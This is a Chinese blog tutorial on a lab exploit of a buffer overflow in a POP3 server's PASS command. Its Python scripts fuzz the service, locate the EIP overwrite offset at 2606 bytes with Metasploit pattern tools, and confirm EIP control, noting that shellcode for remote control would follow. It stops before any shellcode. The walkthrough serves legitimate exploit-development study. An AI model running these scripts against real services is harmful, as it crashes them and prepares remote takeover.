上一篇文章,我已經做好了緩沖區溢出實驗的准備工作:
https://www.cnblogs.com/xuyiqing/p/9835561.html
下面就是Kali虛擬機對緩沖區溢出的測試:
已經知道目標IP為:192.168.163.130
連接目標機器110端口成功,接下來進行測試
事先已經知道PASS命令存在緩沖區溢出漏洞:
只要在PASS后邊輸入的數據達到某一個值時,就會出現緩沖區溢出漏洞
但是,手動嘗試這個值實在有點低端,寫一個Python腳本:
先寫一個基本的腳本來測試:
#!/usr/bin/python import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: print "\nSending evil buffer..." s.connect(('192.168.163.130', 110)) data = s.recv(1024) print data s.send('USER test' + '\r\n') data = s.recv(1024) print data s.send('PASS test\r\n') data = s.recv(1024) print data s.close() print '\nDone' except: print 'Can not connect to POP3'
使用腳本:
如果腳本是從windows移過來的:
vi xxx.py
:set fileformat=unix
:wq
chmod u+x xxx.py
./xxx.py
測試:OK
完善腳本:
#!/usr/bin/python import socket buffer = ["A"] counter = 100 while len(buffer) <= 30: buffer.append("A" * counter) counter += 200 for string in buffer: print "FUZZING PASS WITH %s BYTES" % len(string) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect = s.connect(('192.168.163.130', 110)) s.recv(1024) s.send('USER test' + '\r\n') s.recv(1024) s.send('PASS ' + string + '\r\n') s.send('QUIT\r\n') s.close()
測試:OK
我們發送這么多的數據來測試,那么問題來了,要怎么判斷目標機器到底有沒有緩沖區溢出?
這時候就需要上一篇提到的ImmunityDebugger了:
先得到進程的PID:
記住這個PID,打開ImmunityDebugger,file菜單選擇attach
然后找到剛才的PID選擇即可:
默認的暫停狀態,點擊開始按鈕來繼續:
打開Kali虛擬機開始發送:
果然,發送到2900的時候停下來了:
我們看看windows機器:
觀察寄存器:
注意這里的寄存器顯示:41414141,根據Ascii碼表,得出是AAAA
這里重點注意EIP:系統下一步要執行指令的內存地址
而這里下一條指令全部都是A,沒有正確的執行代碼,所以現在程序已經崩潰了
再看看下邊的內存信息:全部都是A
我們可以把腳本的A改成其他字符繼續測試,發現都是到3000左右程序崩潰
到這里我們想到:是否可以通過這個漏洞來做一些事情?
OK,我們可以通過腳本測試得到確切的溢出值,然后修改EIP寄存器存放下一條指令的地址
可以添加一些后門程序,如果是Shellcode就可以進一步控制目標機器
下一個目標: 找出精確的溢出到EIP寄存器的字節,進而可以修改程序運行軌跡
我們進一步來寫一個腳本:
#!/usr/bin/python import socket buffer = 'A' * 2700 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: print "\nSending evil buffer...\n" s.connect(('192.168.163.130', 110)) data1 = s.recv(1024) s.send('USER test' + '\r\n') data2 = s.recv(1024) s.send('PASS ' + buffer + '\r\n') s.close() print '\nDone' except: print 'Can not connect to POP3'
發送過去程序崩潰了,說明2700大了,那么需要調小一些,
改成2600試試:發現程序崩潰了,但是EIP並不是A,所以想要利用需要比2600大
到這里就知道了,最終數據應該是2600-2700之間
不過,具體該怎么精確地跳轉呢?
二分法:不必多說
唯一字符串法:生成2700個字符,每四個一組,每一組字符串唯一,發送唯一字符串,精確定位
唯一字符串腳本比較復雜,但不需要自己寫,Kali虛擬機里面就有:metasploit-framework一個ruby腳本
使用方式: ./pattern_create.rb -l 2700
我們使用這2700個字符地唯一字符串來修改上邊地腳本,把“A”*2700換成這個字符串
查看寄存器:
發現唯一字符串對應地址(16進制)是:39 69 44 38
由於內存地址,讀取要倒過來:38 44 69 39
對應字符是:8 D i 9
那么怎樣知道對應第幾位呢?
metasploit-framework一個ruby腳本可以解決:
使用:
或者這樣:
得出是在第2606個位置
既然得到了是在第2606個位置:
就可以繼續修改這個腳本了:測試能否恰好是BBBB
#!/usr/bin/python import socket buffer = 'A' * 2606 + 'B' * 4 + 'C' * 20 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: print "\nSending evil buffer...\n" s.connect(('192.168.163.130', 110)) data1 = s.recv(1024) s.send('USER test' + '\r\n') data2 = s.recv(1024) s.send('PASS ' + buffer + '\r\n') s.close() print '\nDone' except: print 'Can not connect to POP3'
果然:
查看42對應的就是B
那么
假設,在ESP中,不是20個C,而是Shellcode或者是惡意代碼(反向連接等等)
就可以實現遠程控制的目的
具體如何精確修改而實現對目標機器的控制呢?
下一篇隨筆具體介紹